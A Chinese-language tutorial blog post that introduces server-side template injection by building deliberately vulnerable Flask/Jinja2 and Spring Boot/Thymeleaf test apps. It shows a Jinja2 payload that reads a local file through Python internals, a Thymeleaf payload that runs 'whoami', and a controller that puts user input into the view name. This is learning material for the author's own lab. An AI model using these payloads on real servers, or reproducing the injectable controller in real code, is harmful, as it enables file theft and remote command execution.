安全测试之 SSTI 模板注入入门
文章目录
- 一、什么是SSTI?
- 二、python 中的 Jinja2 漏洞验证
- 三、Java 的 Thymeleaf 模版漏洞验证
- 四、小结
一、什么是SSTI?
SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。
常用语言产生SSTI漏洞有哪些呢?

二、python 中的 Jinja2 漏洞验证
环境搭建:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2024/3/10 21:00
# @Author : liWen
# @File : sstiTest.py
# @Software: PyCharm
# @Desc : SSTI 模板注入学习from flask import Flask
app = Flask(__name__)@app.route('/')
@app.route('/index')
def index():return "ssti 模版漏洞学习"if __name__ == "__main__":app.run()
访问页面显示:

简单环境搭建成功后,开始编写 SSTI 漏洞代码,参考如下:

访问不存在页面就会提示下面信息 :

当输入错误页面并且携带参数404时页面显示:

验证是否有漏洞:

输入{{2/2}}=1.0 表示已经开始计算。
再次输入:"".__class__.__bases__[0].__subclasses__()
提示:

很多文章都说到,Python 在导入os模块时会和 warning.catch_warnings 相关,所以我就在终端遍历上面数据获取的数据参考如下:
>>> ss = "".__class__.__bases__[0].__subclasses__()
>>> for index, element in enumerate(ss):
... print(f'Index: {index}, Element: {element}')
...
Index: 0, Element: <class 'type'>
Index: 1, Element: <class 'weakref'>
.....
......
......Index: 140, Element: <class 'types._GeneratorWrapper'>
Index: 141, Element: <class 'warnings.WarningMessage'>
Index: 142, Element: <class 'warnings.catch_warnings'>
Index: 143, Element: <class 'importlib.abc.Finder'>
Index: 144, Element: <class 'importlib.abc.Loader'>
Index: 145, Element: <class 'importlib.abc.ResourceReader'>
Index: 146, Element: <class 'operator.itemgetter'>
之后在 Pycharm 中输入:

在 bachbar 插件中执行:
http://127.0.0.1:5000/7dgroup?404={{"".__class__.__bases__[0].__subclasses__()[142].__init__.__globals__[%27__builtins__%27][%27open%27](%27/Users/liwen/PycharmProjects/suanfa/ssit/templates/ss.txt%27).read()}}
结果显示:

能读取文件信息,那么就能执行命令,在验证过程中,执行“ls”等一系列命令后,都没有出现安全漏洞估计是版本问题。
网上公布相关安全漏洞后,先验证是不是该版本导致漏洞,如果是能否先通过升级版本解决该漏洞,如果不能,再想一想怎么把风险降到最低,减少资产损失。
三、Java 的 Thymeleaf 模版漏洞验证
官方网站 https://www.thymeleaf.org/
Thymeleaf 是一款用于渲染 HTML/XML/TEXT/JAVASCRIPT/CSS/RAW 内容的模板引擎。它与 JSP,Velocity,FreeMaker 等模板引擎类似,也可以轻易地与 Spring MVC 等 Web 框架集成。与其它模板引擎相比,Thymeleaf 最大的特点是,即使不启动 Web 应用,也可以直接在浏览器中打开并正确显示模板页面,Thymeleaf 支持 HTML 原型,其文件后缀为“.html”,因此它可以直接被浏览器打开,此时浏览器会忽略未定义的 Thymeleaf 标签属性,展示 thymeleaf 模板的静态页面效果;当通过 Web 应用程序访问时,Thymeleaf 会动态地替换掉静态内容,使页面动态显示。
环境搭建springbot + Thymeleaf 实现,新建项目,选择 Thymeleaf 模版解析器

点击创建即可,IDEA 就能显示项目:

添加 index 模版:
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head><meta charset="UTF-8"><title>学习 ssti 注入 </title>
</head>
<body>
<h1>学习 ssti 注入</h1>
<span th:text="${data}">欢迎您访问静态页面 HTML</span>
</body>
</html>
添加后端代码:
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;/*** @description: 首页ssti模版漏洞解析学习* @author: 李文* @create: 2024-03-10 19:48**/
@Controller
public class IndexController {/*** 模版解析** @param model* @param data* @return*/@RequestMapping(value = "/thymeleaf/index")public String index(Model model, @RequestParam String data) {model.addAttribute("data", data);return "index";}
}
默认springboot 中的 thymeleaf 开启缓存不利于调试,这里先关闭:
#thymeleaf 页面的缓存开关,默认 true 开启缓存
#建议在开发阶段关闭 thymeleaf 页面缓存,目的实时看到页面
spring.thymeleaf.cache=false
#前缀:thymeleaf 模版前缀,默认可以不写
spring.thymeleaf.prefix=classpath:/templates/
# 后缀:thymeleaf 模版后缀,默认可以不写
spring.thymeleaf.suffix=.html
启动项目后在浏览器访问8080端口,验证项目是否启动成功?

再次请求之前定义好的模版请求:
http://localhost:8080/thymeleaf/index?data=7dgrouup
浏览器显示:

再次修改代码:
/*** 验证ssti是否有漏洞** @param data* @return*/@GetMapping(value = "/thymeleaf/ssti")public String indexSsti(@RequestParam String data) {return "page/" + data;}
再次执行命令:
http://localhost:8080/thymeleaf/ssti?data=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x
结果显示:

后台代码显示:

发现漏洞并没有显示出来,网上有很多资料这样执行是会出现当前用户信息,估计是sprintboot+thymeleaf 在特定版本会出现漏洞,目前使用的我版本是:
<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>3.2.3</version><relativePath/> <!-- lookup parent from repository --></parent>
------------<dependency><groupId>org.thymeleaf</groupId><artifactId>thymeleaf-spring6</artifactId><version>3.1.2.RELEASE</version><scope>compile</scope></dependency>-----------
JDK版本为:
<java.version>17</java.version>
四、小结
上面是验证的过程,虽然漏洞没有验证出来,但是对自己学习安全测试,并且验证是否存在安全漏洞有初步的尝试经验 。
相关文章:
安全测试之 SSTI 模板注入入门
文章目录 一、什么是SSTI?二、python 中的 Jinja2 漏洞验证三、Java 的 Thymeleaf 模版漏洞验证四、小结 一、什么是SSTI? SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的W…...
滑动窗口解题模板
滑动窗口适用于固定长度的窗口问题,或者需要动态维护一个窗口的场景。 模板 public int slidingWindowTemplate(int[] nums, int k) { int n nums.length; int maxSum 0; // 记录最大值(或最小值) int windowSum 0; // 当前窗口的值 …...
SOC和SOH的含义
SOC 和 SOH 是在电池管理系统中常见的两个概念,通常用于描述电池的状态,以下是具体解释: SOC(State of Charge) 定义:荷电状态,也叫剩余电量,反映的是电池在一定条件下当前所剩余的…...
Genetic Prompt Search via Exploiting Language Model Probabilities
题目 利用语言模型概率的遗传提示搜索 论文地址:https://www.ijcai.org/proceedings/2023/0588.pdf 项目地址:https://github.com/zjjhit/gap3 摘要 针对大规模预训练语言模型(PLMs)的即时调优已经显示出显著的潜力,尤其是在诸如fewshot学习…...
1561. 你可以获得的最大硬币数目
class Solution:def maxCoins(self, piles: List[int]) -> int:piles.sort()res,n0,len(piles)for i in range(n//3):respiles[n-2-2*i]return res这里如果"你"想要获取最大,那么从最大的开始找 每隔俩算一个最大累计,Bob默认自己从最小那找…...
DNA结合之Motif_1:CNN
1,首先可以识别在KO前后的motif——》由CNN模型做出识别,看看这个有没有什么灵感 2,ZNF143等都可以使用来识别 3,暂时只使用单个peak文件,后期可以使用ENCODE中所有的对应的TF的peak文件 1,文件解压之后…...
kong 网关和spring cloud gateway网关性能测试对比
该测试只是简单在同一台机器设备对spring cloud gateway网关和kong网关进行对比,受限于笔者所拥有的资源,此处仅做简单评测。 一、使用spring boot 的auth-service作为服务提供者 该服务提供了一个/health接口,接口返回"OK"&…...
【2024 CSDN博客之星】个人收获分享
目录 [ C 语言 ] [ 数据结构 ] [ 算法 ] [ C ] [Linux] [Mysql] [Redis 文档学习] [Docker 云原生] [Git] [Qt] 转眼间大学就过了一年半,这一年半间好像习惯了,开心了那就学会吧,不开心了学会吧就开心了......期间在学习上面也走了…...
Codeforces Round 998 (Div. 3)(部分题解)
补题链接 A. Fibonacciness 思路:了解清楚题意,求得是最大的斐波那契的度,数组只有5个数(最多度为3),能列出其对应的式子 或 或 #include <bits/stdc.h> using namespace std; #define int long long void solve() {int …...
[创业之路-261]:《向流程设计要效率》-1-流程体系的建立是一场全方位的变革,一定会遇到各种阻力,需要全方位、系统性地进行流程管理
目录 一、思想和思维方式的转变 1.1 使能流程的战略 1.2 使能流程的组织 1. 流程决定组织 2. 基于流程分配责权利与资源 3. 从“管控”到“赋能” 1.3 使能流程的人才 1. 人才战略:从职能导向到流程导向 2. 能力模型:从职能专家到作战专家 3. …...
深入理解 Spring 的 Lazy Loading:原理、实现与应用场景
延迟加载(Lazy Loading)是 Spring 容器管理 Bean 的一种策略,指 只有在需要时(调用 getBean() 方法获取 Bean 时)才会实例化该 Bean。这是 Spring 提供的一种优化机制,用于提高启动效率和降低资源占用。 1.…...
扬帆数据结构算法之雅舟航程,漫步C++幽谷——LeetCode刷题之移除链表元素、反转链表、找中间节点、合并有序链表、链表的回文结构
人无完人,持之以恒,方能见真我!!! 共同进步!! 文章目录 一、移除链表元素思路一思路二 二、合并两个有序链表思路:优化: 三、反转链表思路一思路二 四、链表的中间节点思…...
【unity游戏开发之InputSystem——02】InputAction的使用介绍(基于unity6开发介绍)
文章目录 一、InputAction简介1、InputAction是什么?2、示例 二、InputAction参数相关1、点击齿轮1.1 Actions 动作(1)动作类型(Action Type)(2)初始状态检查(Initial State Check&a…...
Excel常用功能总结
Excel 是微软办公软件套装中的一个重要组件,用于数据处理和分析。以下是一些 Excel 的常用功能总结: 基本操作 1.单元格操作:选择、插入、删除单元格、行或列。 2.数据输入:输入文本、数字、日期和时间。 3.格式设置:设…...
【go语言】变量和常量
一、变量 1.1 变量的定义 程序 : 我们向电脑说了一段话,需要电脑才能理解 (沟通机制 ,xxx语言 -- 汇编 -- 机器码),电脑实际上识别的是机器码 : 0 1 1 1 0 1 (高低电频)…...
Node.js——express中间件(全局中间件、路由中间件、静态资源中间件)
个人简介 👀个人主页: 前端杂货铺 🙋♂️学习方向: 主攻前端方向,正逐渐往全干发展 📃个人状态: 研发工程师,现效力于中国工业软件事业 🚀人生格言: 积跬步…...
大语言模型的语境中“越狱”和思维链
大语言模型的语境中“越狱”和思维链 越狱(Jailbreaking) 含义:在大语言模型的语境中,“越狱”是指用户试图绕过语言模型的安全限制和使用规则,让模型生成违反伦理道德、包含有害内容(如暴力、歧视、恶意软件代码等)的输出。这些安全限制是由模型开发者设置的,目的是确…...
JAVA学习记录4
文章为个人学习记录,仅供参考,如有错误请指出。 上期说到IDEA的安装,具体的使用方法就不记录了。这篇主要记录一些基础语法。 类型转换-自动类型转换 类型范围小的变量,可以直接赋值给类型范围大的变量。 在表达式中&…...
手机网络性能测试仪器介绍
手机网络性能测试仪器是用于检测和评估手机网络性能的精密设备。这些仪器通常具备多种测试功能,以确保手机在不同网络环境下的表现都能得到准确评估。以下是对手机网络性能测试仪器的详细介绍: 一、主要类型 手机综合测试仪:如R&SCMU200…...
vue3+ts watch 整理
watch() 一共可以接受三个参数,侦听数据源、回调函数和配置选项 作用:监视数据的变化(和Vue2中的watch作用一致) 特点:Vue3中的watch只能监视以下四种数据: ref定义的数据。 reactive定义的数据。 函数返…...
未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?
编辑:陈萍萍的公主一点人工一点智能 未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战,在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…...
SkyWalking 10.2.0 SWCK 配置过程
SkyWalking 10.2.0 & SWCK 配置过程 skywalking oap-server & ui 使用Docker安装在K8S集群以外,K8S集群中的微服务使用initContainer按命名空间将skywalking-java-agent注入到业务容器中。 SWCK有整套的解决方案,全安装在K8S群集中。 具体可参…...
java_网络服务相关_gateway_nacos_feign区别联系
1. spring-cloud-starter-gateway 作用:作为微服务架构的网关,统一入口,处理所有外部请求。 核心能力: 路由转发(基于路径、服务名等)过滤器(鉴权、限流、日志、Header 处理)支持负…...
在rocky linux 9.5上在线安装 docker
前面是指南,后面是日志 sudo dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo dnf install docker-ce docker-ce-cli containerd.io -y docker version sudo systemctl start docker sudo systemctl status docker …...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序
一、开发准备 环境搭建: 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 项目创建: File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...
linux arm系统烧录
1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 (忘了有没有这步了 估计有) 刷机程序 和 镜像 就不提供了。要刷的时…...
Python如何给视频添加音频和字幕
在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...
C++ Visual Studio 2017厂商给的源码没有.sln文件 易兆微芯片下载工具加开机动画下载。
1.先用Visual Studio 2017打开Yichip YC31xx loader.vcxproj,再用Visual Studio 2022打开。再保侟就有.sln文件了。 易兆微芯片下载工具加开机动画下载 ExtraDownloadFile1Info.\logo.bin|0|0|10D2000|0 MFC应用兼容CMD 在BOOL CYichipYC31xxloaderDlg::OnIni…...
2025季度云服务器排行榜
在全球云服务器市场,各厂商的排名和地位并非一成不变,而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势,对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析: 一、全球“三巨头”…...
佰力博科技与您探讨热释电测量的几种方法
热释电的测量主要涉及热释电系数的测定,这是表征热释电材料性能的重要参数。热释电系数的测量方法主要包括静态法、动态法和积分电荷法。其中,积分电荷法最为常用,其原理是通过测量在电容器上积累的热释电电荷,从而确定热释电系数…...
